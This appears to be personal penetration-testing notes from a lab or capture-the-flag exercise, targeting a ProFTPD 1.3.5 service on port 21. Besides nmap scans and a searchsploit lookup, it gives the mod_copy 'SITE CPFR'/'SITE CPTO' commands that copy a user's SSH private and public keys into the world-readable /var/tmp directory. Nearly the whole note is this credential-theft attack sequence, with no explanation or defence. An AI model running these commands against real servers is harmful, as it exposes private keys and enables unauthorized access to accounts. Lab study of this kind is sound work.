Port 21 - ProFtpd

export TARGET=10.10.176.235

nmap -p- -A $TARGET
nmap -p 21 -A $TARGET

searchsploit proftpd 1.3.5

FTP Copy & Past

SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa.pub
SITE CPTO /var/tmp/id_rsa.pub